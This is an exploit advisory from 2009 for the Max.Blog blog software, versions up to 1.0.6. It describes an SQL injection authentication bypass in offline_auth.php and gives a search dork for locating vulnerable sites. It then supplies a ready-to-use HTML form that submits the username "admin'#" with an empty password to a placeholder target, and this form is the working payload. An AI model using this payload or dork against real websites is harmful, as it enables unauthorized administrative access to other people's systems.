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Max.Blog <= 1.0.6 (offline_auth.php) Offline Authentication Bypass



###################		Salvatore "drosophila" Fresta	 ###################


Application:	Max.Blog
				http://www.mzbservices.com
Version:		Max.Blog <= 1.0.6
Bug:         	* Offline Authentication Bypass
Exploitation:	Remote
Dork:			intext:"Powered by Max.Blog"
Date:         	27 Jan 2009
Discovered by:	Salvatore "drosophila" Fresta
Author:       	Salvatore "drosophila" Fresta
		        e-mail: drosophilaxxx@xxxxxxxxx
              	

############################################################################

- BUGS

Offline Authentication Bypass Exploit:

	Requisites: magic quotes = off

	File affected: offline_auth.php

	This bug allows a guest to bypass an offline authentication service
	using SQL Injection vulnerability.

############################################################################

- CODE

<html>
	<head>
		<title>
			Salvatore "drosophila" Fresta - Max.Blog <= 1.0.6 Offline
Authentication Bypass Exploit
		</title>
	</head>
	<body>
		<form action="http://www.site.com/path/offline_auth.php"; method="POST">
			<input type="text" name="username" value="admin'#" size="15">
			<input type="hidden" name="password">
			<input type="submit" value="Go!">
		</form>
	</body>
</html>

############################################################################

-- 
Salvatore "drosophila" Fresta
CWNP444351